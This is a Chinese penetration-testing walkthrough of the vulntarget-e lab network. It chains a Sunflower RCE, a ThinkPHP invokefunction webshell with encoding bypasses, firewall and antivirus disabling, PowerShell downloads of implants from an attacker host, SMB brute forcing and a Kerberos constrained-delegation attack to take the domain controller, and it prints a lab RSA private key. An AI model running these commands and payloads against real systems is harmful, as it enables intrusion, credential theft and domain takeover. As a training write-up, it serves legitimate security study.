✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
本文作者Nmai,本文刊发已获得作者授权!
关于vulntarget靶场:
vulntarget漏洞靶场系列(五)— vulntarget-e
1. 拓扑
2. 向日葵RCE
端口开放在1000-65535
之间,需要进行扫描探测:
端口被过滤,nmap
不能判断端口是否开启,说明开启了防火墙
尝试了好多个绕过防火墙的方法,都不行,可能和本地环境有关。然后自己写了一个http服务爆破的脚本,使用golang写的。
代码语言:javascript复制package main
import (
"fmt"
"io/ioutil"
"net/http"
"strconv"
"strings"
"sync"
"time"
)
func httpGet(port int, wg *sync.WaitGroup, ch *chan string) {
defer wg.Done()
strPort := strconv.Itoa(port)
url := "http://192.168.100.155:" strPort
req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println(err)
}
client := &http.Client{Timeout: 1 * time.Second}
rep, err := client.Do(req)
if err != nil {
return
}
defer rep.Body.Close()
byteBody, _ := ioutil.ReadAll(rep.Body)
Body := string(byteBody)
if Body != "" {
*ch <- Body "端口:" strconv.Itoa(port)
}
}
func portHandling(port string) {
ch := make(chan string)
wg := sync.WaitGroup{}
if strings.Index(port, "-") != -1 {
split := strings.Split(port, "-")
before, _ := strconv.Atoi(split[0])
after, _ := strconv.Atoi(split[1])
for i := before; i <= after; i {
wg.Add(1)
go httpGet(i, &wg, &ch)
}
}
result := <-ch
fmt.Println(result)
wg.Wait()
}
func main() {
portHandling("40000-50000")
}
执行结束后可以看到返回的一个结果,由于前面给提示了,就直接对4-5w
端口进行扫描了(我扫描的时候是这个,但真实情况应该是从1000
就开始扫描的),速度还是挺快的。
还可以使用网上的脚本进行探测,既然知道了端口,就直接进行利用了:
可以看到存在漏洞:
查看防火墙状态,有点乱码:
代码语言:javascript复制netsh advfirewall show allprofile state
关闭所有防火墙:
代码语言:javascript复制netsh advfirewall set allprofiles state off
再次进行端口扫描发现已经关闭掉了防火墙:
关闭杀软:
代码语言:javascript复制set-MpPreference -DisableRealtimeMonitoring $true
代码语言:javascript复制
代码语言:javascript复制powershell ( new-object System.Net.WebClient).DownloadFile( 'http://192.168.100.10:81/artifact.exe' , 'C:UsersAdministrators.exe' )
尝试了好多次使用powershell
下载命令,都没成功。返回到win2016
看了一下,木马被杀了,虽然关闭了defender
但是实时保护还是开启的:
被杀的木马:
做免杀或者使用这条语句:
代码语言:javascript复制powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:UsersAdministrator"
下载文件:
查看文件:
执行程序:
上线CS:
内网信息搜集:
在administrator
的桌面上发现了一个文件,存放的是一些域名。下载下来留着
查看当前网卡,只有一块网卡,继续横向渗透
当前也不再域中
抓取hash
388f586516a4cba963b4181363b44034
先使用小工具探测IP
存活,发现了一台131
机器
或者使用arp -a
在使用端口扫描工具进行端口扫描,发现了开放的22、80、3333、8888其中888是bt
面板
抓取浏览器密码为空。
2.1 ThinkPHP ByPass 宝塔
通过host碰撞拿到一个后台登录
访问domain
,这个后面跟的是vulntarget/public
路径,我没有下最新版的包,先这样做
打开是一个thinkphp
的网站,然后使其报错,可以看到ThinkPHP
的版本号,然后根据版本号寻找漏洞POC
尝试了使用phpinfo
会被拦截,我直接使用file_put_contents
写入文件。这里的../../
是因为当前目录不可写,所以需要目录穿越找到可写目录
代码语言:javascript复制?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=test123
代码语言:javascript复制写入成功:
base64_decode
被过滤了,使用hex
解码进行绕过
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=<?php @eval(hex2bin($_REQUEST[1]));
从phpinfo
中可以看到过滤了很多函数,作者大方的给我们开放了eval
函数。
但是不会写hex
解码的函数,只能网上找一篇现有的文章,url
编码绕过bt
:
'use strict';
function forceUrlEn(s) {
return Array.from(s).map(i=>'%' i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
//data['_']原有的payload
const payload = data['_']
data[pwd] = forceUrlEn(forceUrlEn(forceUrlEn(payload)));
delete data['_'];
return data;
}
连接上蚁剑之后命令还是不可以执行的:
使用php7-gc-bypass
绕过bt
:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
当前权限是www
,而且使用ping
,也ping
不到155
这台机器:
在home/vulntarget
下发现了个key
文件:
打开之后是个密钥:
代码语言:javascript复制-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs/Zyjpunfoe7BH/X98lx74rwbA4lhp2XGSOazgAmZjDNjm5U
XVrAjwPEiIC7cFqwmYz0gRd1enSbeAooH8JfGS5oQgsILBGEhXHakOoCByrswJeH
e7wnXhVamAnZVFHYrvI3geYs98BsZAbr2iN8LORhLVQoKmJK22FzYOpWh3sDIpIm
cAGl2iYbotpYYJXhE9sgYXwI4k3v8x/VTGajNCVs /S7cNyzJUShpCF4yhGxZil1
8iOKaxpsTcmqIuldUNeuhpfmRmN3VyIb6H7Z0A AnPxCWmGwfl1oGEXIKdyB3OSn
HldeV3OlGv3aG/WwlDIlRGp7AmcYmcFJ7euBqQIDAQABAoIBAElNCqA3mmOZWX2d
rRQKg1P0nbUFlhdcvRzKOdXKjdl162QmYEqeGmymNjj7Zl1/Mwt4NGcYbQtxz5l3
WZyGCUIyetjbsXpxsC7CjyoThrvwqfpQPikSHF7gB8SBznnf1Ih9tEo vPY09HFR
uGNjrMKES2ixLKMG4kK1UM a45/OtWCZHewWtxqIuwEcxA0M9Ac783Zz9C3Hc Mf
j7Tct0oecIUKOixtJEdTHdylgBh7HLNMRAwtdcA04EwsI/zzWJNneQEV eAn3Geb
ISsorknRZQukVDKVABp36l1mgS7FO p/spPMT4fHLVPCMI54v Ojj273L2PImvEa
F8kVN5kCgYEA7SnHfYlwcvVa5uvt4nXWABEkhmgjRKhojCqT8TbFqCqy 93C3TD
bkPsAhAyVyvVqG2BW/ceGLdjaTyIwGNR1YFZ8rRjTbNtcARsiBusYZOp3Sv6CQi6
tzBcDhlaD9I0 BDlLu41L4bIC8cRVX QpW2y0 j0nH0ZQK5ZU59vH4MCgYEAwkGd
Wc79CdX4DdF9mzSQpYfTNjt8dH78t12j TeX2WzI3LGgZGhvkubCxnCDnk9G0n7G
hxzIjBjsbKUmIsLW 85XATDomCG0I4X2r prOinfMfXqTrwSjL/DgZJGZi5HSOSl
53WKI 88lDNWNDcDdngjUWIB5OX7h0wNy6xxmMCgYAyW9i8U17JSkgPGLHekF7s
jLdQwvQaNBhfCvt3EMZPuyFeVa7Vg mrlEic94t47xnjNb1uJb8CSI6XXf87uts5
lsneu2cKrLrkOkxBan7kCVLcX Yr3Oqo01/4rnFtQpl0w0GnAXXRrbD0r0SC/x9b
wTtju eVAwtFrL/S/du uQKBgHB6Q5zrwBJA5XdC1KLYheSCx Y//WkK2lNmEfrM
mM0ZMxiudPuOiQQbP65dGajBqHVbWKKFJQ4RpFuoKHO6M3br2 7hndvwr/hdqh/j
8SBlfEnWZUwfk/IRWyecRc0GgNoRIpaVppon2DTKWoxRqwkOHfpOx1vztuX12qQp
EmCXAoGAD4MOGvLI0YEK6PRGijueG9peO3lwDXnf4syt8iTAnY M2oHxv9roqGwD
aZkdjgE K4mBEuY0g1T2MI5ZZEujI0HXWfetu6L6nJttvy30vcTY2u01eewOcned
p15Q9y0 ZCJSSWg/snrsPUC764AfSbae3 X0dKJ0O1rD3vxg/a4=
-----END RSA PRIVATE KEY-----
然后使用ssh
私钥进行登录,使用vulntarget
不对,尝试使用root
登录成功
vim key && chmod 600 key
2.2 win2008 SMB弱口令
当前机器是有两块网卡:
首先关闭防火墙,这样就可以通155
这台机器了
Linux上线,使用C2
生成linux
木马:
代码语言:javascript复制./genCrossC2.Linux 192.168.100.10 443 null null Linux x64 C2
可以正常执行命令
通过arp -a
发现了另一台机器的IP地址:
CS
的代理太慢了,上传一个frp
建立隧道:
win2008
这里的1433
端口,没开放,手动开启:
扫描到开放的端口:
爆破1433
的密码,使用数据库漏洞进行提权,这里sa
密码爆破不成功,尝试多个用户,没爆破成功。。。。
smb
密碼爆破成功了
使用impack
脚本连接成功
tasklist
没发现杀毒,上传木马文件:
powershell ( new-object System.Net.WebClient).DownloadFile( 'http://192.168.88.100:81/zf4444.exe' , 'C:UsersAdministrators.exe' )
使用msf
生成木马文件上传上去没问题,能返回meterpreter
。CS
生成的后门执行不了:
当前存在第二块网卡,一会扫描第二块网卡:
使用arp -a
发现另一个IP:10.0.10.10
通过systeminfo
发现了域环境:
使用msf
的后渗透模块定位到了域控制器,使用net time /domain
提示我没权限,还可以使用端口爆破的方式查找域控制器:
run post/windows/gather/enum_domain
提升一下权限:
抓取密码进行破解忘记截图了:
win2008 qweASD123
2.3 约束性委派
查找设置了约束性委派的主机或者域用户,可以使用ADFind
,powershell
脚本和kali
自带的ldapsearch
。使用kekeo
工具,生成一个假的票据。这个票据需要域用户的用户名和密码,还要注意权限:
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:administrator.kirbi
再使用这张假的票据伪造域控的st
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@vulntarget.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
执行完之后会生成两个文件:
将带有cifs
的这个票据使用mimikatz
导入到内存中:
mimikatz.exe
kerberos::ptt 票据
访问域控,至此拿下域控制器
代码语言:javascript复制dir \WIN-1PV25H8UJPN.vulntarget.comC$